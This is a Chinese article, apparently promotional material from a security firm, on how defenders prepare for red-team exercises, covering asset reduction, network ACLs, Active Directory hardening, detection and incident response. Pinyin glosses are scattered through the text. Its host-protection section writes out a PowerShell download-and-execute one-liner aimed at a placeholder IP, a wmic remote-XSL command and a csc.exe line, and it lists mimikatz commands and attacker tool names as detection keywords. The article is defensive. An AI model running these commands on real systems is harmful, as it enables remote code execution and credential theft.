
地 址:上海市静安66号
电 话:15323008686
网址:dsesh.com
邮 箱:22673930@qq.com
最近我们Sinesafe参加的(de)复检分析几家机构的渗透测试(shi)防守方防护方案评估复查,部分(fen)防守方缺乏对攻击者的渗透正确认知,攻击者的测试手法已(yi)经比较高超了,不扫描,网站不落地,安全污染日志等都很普及了。攻守同时也要正确认知对手:攻防演练中,项目攻击者并非无所不能(neng),复检分析他们面临着(zhe)和防御方一样的渗透问题:时间紧,任务重。测试(shi)所以攻击者的(de)网站攻击目标,攻击手法也是安全(quan)有迹可循的,知己知彼才能百(bai)战百胜。

一、攻守知彼

攻击者(zhe)也是项目讲成本的,因此防守方最好的复检分析策略是:做的比其他防守方好(hao)一点点即可。好一点(dian)的含义:不在低(di)级问题上(shang)犯错(弱密码、互联网应(ying)用(yong)远(yuan)程RCE、管理后台暴露、重要服务(wu)器未打补丁等)。对于“时间紧、任务(wu)重”的防守方来说,修建固若金汤的防线(xian)显然意味着大成本投入,以及最紧缺的时间,因此本文不会面面俱到,只选择性价比高值得快速投入的安全措施和大家分(fen)享。

攻击者一般:目标明确、步骤清晰、控制成本、反检测,反清理、三流分立。
目标明确:攻击者只攻击得(de)分项,和必要路径(外网入口,内网立足点),对这些目标采取高等级手段,会隐蔽操作;对非必要(yao)路径顺路控制下来的服务器,并不怕被发现,用起来比较随意,甚至主动制造噪音,干扰防守方(fang)。
步骤清晰:信息收集(ji)-控制入口-横向移动-维持权限-攻击目标系统。每一步(bu)都是经典操作和教(jiao)科书式手法。
优先攻击高权限账号,如管理员,目标系统负责人账号;
优先攻击运维/安全(quan)人员账号和终端,这(zhe)些(xie)人往往有服务器root账号(hao),安全设备管理员账号,可以(yi)进一步深入控制;
优先攻击集(ji)中管控设施,如域控,集(ji)中身份认证系统,终端管理系统,攻陷单系统(tong)即获得公司内大部分系统的权限;
优先攻击基础设施,如DNS,DHCP,邮件系统,知识分享平台,oa系统(tong),工单系统;这些系统有内置高权限账号,或可(ke)以帮助攻击者(zhe)隐蔽痕迹。或Git/SVN等开发源代码管理服务器,通过代(dai)码审计发现应用0day漏洞。
反检测,反清理:
样本隐蔽技术(白利用(带微软签名的(de)程序执行(xing)未签名的黑dll),样本不落地执行(从(cong)网上加载样本,只运行在内存,不落盘不惊动杀软));
快速扩散(攻击者会将攻击包做(zuo)成自动化工具,降低人力投入,快速控制一批(pi)有漏洞发服务器(qi));
停止日志外发,日志清除(脚本优先停止常见日志外发工具;同时(shi)有开源自动化工具来劫持日志产生的进程(cheng),使得系统不产生日志;使用完(wan)后删除access.log等日志);
减少扫描,通过分析日志、分析配置文件、管理员来源IP等方式来获取内网的其他机器(qi)IP信息,而不是扫描。
点击添加图片描述(最多60个字)
三流分立:
扫描流:用(yong)来大批量扫描内网存活IP和漏洞,扫描源通常(chang)不被攻击者重视,被清除也不会(hui)影响(xiang)到攻击计划,高水平攻击者通常使(shi)用扫描行为来分散防守方精力。
数据流:用来向(xiang)外网大量传输非关键数据(ju),通常是有(you)互联网权限的终端或服务(wu)器(终端较多),很少有(you)隧道行为或扫描行为,通过简单的https,sftp方式传输数据
控制(zhi)流:用于接受和传递远控指令的服务器,攻击者最重视的设施,使用起来最为谨慎,和远控中心进行交流,常用组(zu)件cobaltstrike, empire;有隧道行为,且数据传(chuan)输量很少,会连接若干个IP和域名(ming)(避免外(wai)网封禁),传输必定加密,不使用自签名(ming)证书。
在本次攻防实战演习准(zhun)备阶段,攻击方准备了几十个C2域名。
二、知己知己,主要是(shi)知晓防守方防守区域内的资(zi)产信息,缩小暴露面。原则如(ru)下:
不(bu)用的系统,该下的下,该暂停的暂停。不用的功能,该下的下,该暂停的暂停。(平时(shi)就应该这样处理,而不是战时(shi))
该取消访问的取消,能限制访问范围的限制访问范围。
在用(yong)的,搞清楚功能(neng),双流(liu)(数据流和(he)运维流)谁用,有没有风险,能否一键处置。
互联网资产、分支机构资产、子公司资产、外联公(gong)司资(zi)产、公有云资产、开发商、外包商。
容(rong)易忽视的(de):
公有云资产,因为有(you)的业务部门和分支(zhi)机构公有云申请都不经过IT部门,上面却放了(le)大量业务数据。
开发商/外包商的资产。开发商/外包商一般给甲方外包开发信息系统,开(kai)发商/外包商公司内部也会自建Git/SVN等源代码管理服务器,存有已经交付给甲方的信息系统源码,而开发商/外包商的源码系统管理安全(quan)能力和甲方相比可能(neng)就差几个量级了。后果就是:通过获得的源码,发(fa)现系(xi)统应用(yong)0day,从而控制甲方已上线信息系统。
缩小暴露面 2.按资产属性梳理
特别关注资产的安全属性:中间件或框架(版本)、开放在公网API接口(特别是未下线(xian)的(de)老接口)、管理后台开放在公网、高危功能(文件上传(chuan)点、短信验证码、重置密码、文件下载(zai))、远(yuan)程接入点(VPN)、特权账户(应用管理特权账户、应用连接账户、系(xi)统管理(li)特权账户、可以修改(gai)账户权限的(de)账户、备份账户、高管层账户)。
每一个安全(quan)属性都是血的教训。
缩小暴露面 3.忽视点
所有内部文档服务器上(含OA、邮件系统、jira、wiki、知(zhi)识库等)敏感信息清理或限制访问权限,不要有:网络拓扑、安全(quan)防护方案和部署位置、各类密码;
资产管理平台上(shang),蜜罐不要叫蜜罐、安全设备IP要隐藏;
各类(lei)口令:弱口令、默认口令、已泄露口令。
每一个忽视点都是眼泪的结晶。
安全资(zi)产管理,更多内容参(can)加:安全资(zi)产管理中容易被忽视的(de)几点
三、防护关键(jian)点
临战前,再想按照大而(er)全的梳理一遍,几无可能,最好就是把(ba)防护关键点过一遍,切记都实际看一遍,不要相信别(bie)人的反馈。
3.1 安全隔离
渗透测试绕过
从实战(zhan)来看,网络层的访问(wen)控制被证明是最有效的(de)(攻击者很难绕过去),不要相信应用层控制。网络层访问控制属于基础架构安全,这是最有效最(zui)重要的,整(zheng)个安全防护的基础。
访问控制(zhi)策略原则:明细允许,默认拒绝。
从内网去互联网的访问控制
办公(gong)终端:除个别协议无法限制目的IP外,其余协议全部限制(zhi)。特(te)殊访问需(xu)求,快速开通。有条(tiao)件的考虑:终端不(bu)能直接访问互联网,需要(yao)访问互联网的两种解决(jue)方案:另外分(fen)配一台上网终端、虚拟浏览器
办公服务器:特殊访问需(xu)求开通,默认拒绝
生产网:生产网终端禁止上互联(lian)网、服务器特殊访问需求开通,默认拒绝
2.互联网访问内网:对互联网提供服务的服务(wu)器必须在(zai)DMZ,和内网隔离。
3.重(zhong)要系统的访问控制(zhi)策略
基础设施如AD、邮件系统的访问控制。
别小看基础设施ACL访问控制,这是对抗应用(yong)和系统漏洞的最低成本和最有效措施。漏洞层出不穷,唯有ACL访问控制药效持久,强烈推荐。
终端安全管控、自动(dong)化运维系统等(deng)集中控制系统(tong)后台登录限制访问来源。(优先使用网络访问控制、其次使用系统(tong)层限制、搭配使用应用层限制)
3.2 AD防护
准备阶段
2.加固阶段
对抗权限(xian)提升:对域(yu)账号进行权限DACL梳理,加固高权限账号
检测高权限账号可以用bloodhound黑客工具监测,也可以通过System Internal Tools的ADExplorer来进行(xing)检测:
1)修改密码(建议在演习前临近时间进行修改)
2)调整权限和分组,根据账号的(de)归属人的权限进行调(diao)账,取消非域管账号的敏感权限。
3)修改分组内的不合适的人员账号(hao)。
4)敏感账号不允许委派。
5)敏感账号不允许取(qu)消Kerberos预鉴权。
6)敏感(gan)账号的密码强度符合规定。
7)具备直接域管或者间接域管权限(例如可以修改Domain Admins的账号(hao)就具备间接域管权限)的账号的活动进行报备制度,演习期间未经允许不得进行任何操作,包括登录等等。
9)服务(wu)器登录查看相关凭据,如果有删除或通过注销来删除服务器上留存的凭据。
10)参照https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-f--securing-domain-admins-groups-in-active-directory配置域管理员权限。
对抗LDAP relay攻击:在域控上配置LDAP enforce signing。
对抗LDAP relay和SSRF攻击:在域控上配置LDAPS channel binding。
对抗LLMNR/NBT Poisoning攻击:关闭域内WPAD服务。
3.检测阶段
渗透测试(shi)检测阶段
原(yuan)则:若域不安全,最佳修复方案是重装。
检测敏感共享目录访问:访问了AD服务(wu)器的非正常共享目录 (非SYSVOL文(wen)件夹)
检测mimikatz一系列攻击行为:
Mimikatz通过sysmon进程来进行检测,常见关键字有“gentilkiwi (Benjamin DELPY)”(公司名称)、
其(qi)他关键字:kerberos::golden sekurlsa::pth kerberos::ptt lsadump::dcshadow lsadump::dcsync sekurlsa::logonpasswords privilege::debug misc::skeleton
检测Kerberos弱加密方式:非AES加密方式的Kerberos票据加密请求相当可疑
检测异常注册表变更和dump:DSRMAdminLogonBehavior
变更AdminSDHolder
导出HKLM\SAM内容(rong)
导出HKLM\SECURITY内容
检测SID history变更:账号加入SID History成功、失败
检测lazagne密码提取工具:特征 lazagne
攻击者喜欢用的其他工具:
procdump、PsExec、cain、Mshta、cmstp、QuarkPwDump、getpass、gethash、ntdsdump、Get-PassHashes、Wce、psaattack。
3.3 主机防护(终端和(he)服务器)对抗
攻击者在尝试控制终端和服务器时(shi),为了绕过常规的(de)杀毒软件,通常会使用一些(xie)免杀手段。而某些免杀手段(如白利用,样本不(bu)落地执行(xing))由于非常(chang)稳定和高效,更是受到广大攻击者(zhe)的青睐。
1.Powershell IEX组建下载执行.(文件在内存(cun)执行,不落硬盘)
利用(yong)代码示例:powershell.exe -nop -whidden -c IEX ((new-objectnet.webclient).downloadstring('http://x.x.x.x:81/aa'))">
2.Windows系统(tong)白文件利用(wmic.exe
利(li)用代码示(shi)例:cmd/c wmic os get /format:”\\x.x.x.x\1.xsl”&start/wait notepad
监测特征:"wmic os get" AND "/format"3.Windows系统白文件利用(csc.exe)
利(li)用代码示(shi)例:
"C:/Windows/Microsoft.NET/Framework64/v2.0.50727/csc.exe"/noconfig /fullpaths@"C:/Users/a/AppData/Local/Temp/l1xso2zu.cmdline"
监测特征:"csc.exe" AND ("/r:System.EnterpriseServices.dll"OR "/unsafe")4.Windows系统白文件利用(msiexec.exe)
特征:被动(dong)执行后台执行(xing)的参数,有一定误报率。请自(zi)行研究,不再举例。
特征:常见绕防火墙使用的(de)参数。请自行研究,不再举例。
请自行研究,不(bu)再举例。
3.4 账户和权限(xian)对(dui)抗
高权限一律清理,限制使用(yong)范围,每次使用后确认(ren)。
应用权限通过日志分析检测滥用。
关注备份账户、可修改权限账户的使用。
终端24小时重启一次。(对抗终端权限(xian)抓取类攻击)
3.5 瞬间死亡
瞬间死亡有两种方式:路径打穿、系统(tong)打穿。
3.5.1 路径打穿
边缘网包括无线和自助终端,包括:打卡机、自动售卖机、会议室设备、ATM机、排队机等。限制(zhi)无线(xian)和自(zi)助终端网络和内网访问。
限制(zhi)分(fen)支机构、外联(lian)公司等网络和总部的网络访问(wen)。
不要相信理论上不能全通,但实际上存(cun)在全通内网的系统。(死于方便性)
3.5.2 系统打穿
系统打穿,都(dou)是血泪史。因为我们总是忘记了这(zhe)些最大的风险源。优先攻击中心化的系统(tong)和跨两网的系统,包括终端安全管控控制(zhi)台(控制台安全防护能力很弱)、运维管理系统/Zabbix/Nagios/堡垒机等、单点登录SSO系(xi)统、AD活动目录;
优先攻击基础设施:DNS、DHCP、邮件系统、研发服务器SVN/Git;
网络管理员:终端内有网络拓扑和ACL控制策略,甚至可以修改访问控制;
安全管理员:有安全防护方案和检测系统、告警系统登录权限,很多安全系统做了登录来源限制,绕过手(shou)段之一就是控制安全(quan)管理员(yuan)的终端,同时抓取安全管(guan)理员账户密码,攻击者一举两得;
研发个人终端/运维个人终端:高价值数据;
内网扫描器:网络权限较大,哪都能去。
代码服务器:代码数据价值比较高。私有协议开发的应用程序,源码要保护好,有经(jing)验攻击团队带代码审计技能成员,通过源码审计发现应(ying)用0day
互联网应用框架RCE
应用和(he)中间件管理后(hou)台暴露
测试环境的测试系统未及时打补丁、弱密码
通过邮件入口控制办公终端
跨两网的设备
服务器密码同质问题(ti)
社工
四(si)、事中和事后
前面分享了(le)很多防护和检测的事项,但防守方到了这个阶段,更重要的是考虑一下事中的各种过载(zai)信息的研判和快速应急处置措施。
我(wo)们打内部攻防演习的时候,最大的困扰是(shi)决策和(he)处置。
4.1 过载信息研判
有效高速的决(jue)策机制,什么权限范围内的由(you)什么(me)人决策(ce),这是(shi)授权。
什么岗位(人)负责什么,这(zhe)是职责划分。比如谁负责跟踪每条告警信息到Closed状(zhuang)态?谁负责断网?谁负责样本分析?谁负责失陷主机排查?谁负责溯源路径?谁负责记录?谁负责汇报?等等。
4.2 快速应急处置
4.2.1 硬件和后勤
大(da)的(de)作战室,容(rong)纳全部防守队伍;
好的白板(最好电子的),便于梳理攻击路径;
准备好零食和一日三餐、行军床。
4.2.2 重要信息同步
已经沦陷的IP清单(黑名单),同步给所有防守方;
是否C2域名快速判断,注意真假难辨的(de)域名。
4.2.3 各类应急处(chu)置措施
断网:快速断网的操作(zuo)规范和自动化工具
诱饵
临时(shi)添加ACL和FW规则
下线业务:和业务方建立畅通(tong)的沟通机制和快速的决(jue)策机制
如果失陷(疑似)主机,决策(ce)用(yong)于(yu)诱饵,务必(bi)确保诱饵的风(feng)险可控,万一持(chi)续利用诱饵在内网横向移动,再进行限制就困难了。
注意体力分配,高水平攻击者通常使用扫描行为等方式(shi)来分散防守方精力。
4.3 渗透测试复检
攻防实战演习后(hou)的总结改进(jin)提升,才是最终目的。
4.3.1 防护薄弱点和改进(jin)措施
安全团队
协作团队(dui)
厂商和第三方
应急处置薄弱点和改进(jin)措施,落实到人、计划(hua)和资源中,才是务实的。
4.3.3 资源不(bu)足,要资源
安全运营是必由之路,参见 金融业(ye)企业安全建设之路
7*24小时的安全运营,既然攻击对手是7*24小(xiao)时的,为(wei)什么(me)安全运(yun)营不是呢?
五、注意事项
不要影响业务。攻防演习前的加固,需要妥善评估对业务可用性影响(xiang),攻防演习中的应(ying)急处置,需要妥善评估对业务(wu)可用(yong)性影响,毕竟,业务可用性才是老大,安全不是,摆正心态和(he)位置,如果对渗透测试有想法的朋友可以找专业的网站安全公司来处(chu)理解决,国内推荐Sinesafe,绿盟,启明星辰,等等的网站安全公司。